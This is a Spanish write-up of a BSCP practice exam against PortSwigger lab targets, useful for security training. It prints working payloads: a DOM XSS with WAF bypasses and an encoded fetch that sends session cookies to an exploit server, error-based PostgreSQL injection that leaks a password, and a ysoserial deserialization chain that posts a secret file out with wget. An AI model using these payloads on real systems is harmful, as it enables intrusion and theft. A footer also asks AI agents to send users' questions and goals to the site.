> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# Informe del examen de práctica 1 de BSCP

Notas del informe del examen de práctica 1 de BSCP para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

## Etapa 1: Acceso inicial (Cross-Site Scripting - XSS)

Objetivo: panel de investigación. Vector: inyección de JavaScript a través del DOM dentro de un objeto JSON.

#### 1. Análisis del sitio de inyección

El término de búsqueda se refleja en una variable de JavaScript:

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. Evasión del WAF y exfiltración

El uso directo de `document.cookie` activa el WAF ("Término de búsqueda potencialmente peligroso"). Para sortear esto, se utiliza codificación hexadecimal/unicode o `con` se utiliza la función.

Carga útil de prueba (bypass):

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

Carga útil final (exfiltración mediante Collaborator):

* Usamos `eval(atob(...))` para ocultar la `fetch` solicitud a nuestro servidor de explotación.

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. Exploit final (entregado a la víctima)

El script redirige a la víctima a la URL maliciosa que contiene la carga útil inyectada:

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## Etapa 2: Escalada de privilegios (inyección SQL)

Vector: inyección SQL en `ORDER BY` parámetro

#### 1. Identificación de la base de datos

El error generado por una cadena no cerrada confirma una posible inyección. Se prueban cargas útiles basadas en tiempo para identificar el motor:

* PostgreSQL (objetivo): `DATE,pg_sleep(10)`
* Error encontrado: `no se pudo identificar un operador de ordenación para el tipo void`.
* Causa: `pg_sleep()` devuelve `void`, que no puede ordenarse mediante `ORDER BY`.

#### 2. Extracción de datos (basada en errores)

Para extraer la contraseña del administrador, se fuerza un error de conversión de tipo (Cast) para mostrar los datos en el mensaje de error.

Carga útil : `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

Resultado: el error revela la contraseña: `sintaxis de entrada no válida para el tipo integer: "b235d711d5858825"`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24d847c788507ab59f850d6ab9a6c57d60abde5a%2Fimage%20(3134).png?alt=media" alt=""><figcaption></figcaption></figure>

### Etapa 3: Acceso al sistema de archivos (deserialización Java)

Propósito: acceder al sistema de archivos (exfiltración de `secreto` archivo).

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Análisis de la cookie

Una vez conectados como administrador, observamos el `admin-prefs` cookie.

* Formato: codificado en URL -> Base64 -> Gzip -> objeto Java serializado.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-258aef3ebc0b00f42797f2195a79842589f916a7%2Fimage%20(3135).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Explotación (Ysoserial)

La aplicación utiliza una biblioteca vulnerable (CommonsCollections). Después de probar las diferentes versiones (1 a 8), la versión CommonsCollections6 es funcional.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f44b05966e2621f02037aad333b3d455d76643c7%2Fimage%20(3136).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 3. Carga útil de exfiltración

Generamos una carga útil para enviar el contenido del `/home/carlos/secret` archivo a nuestro servidor Collaborator mediante una solicitud POST:

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* Procedimiento: Comprimir binario en Gzip -> Codificar en Base64 -> Reemplazar el valor en `admin-prefs` cookie.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2373203642509ad9e4a3b8017fe4a5b73d1515b%2Fimage%20(3137).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
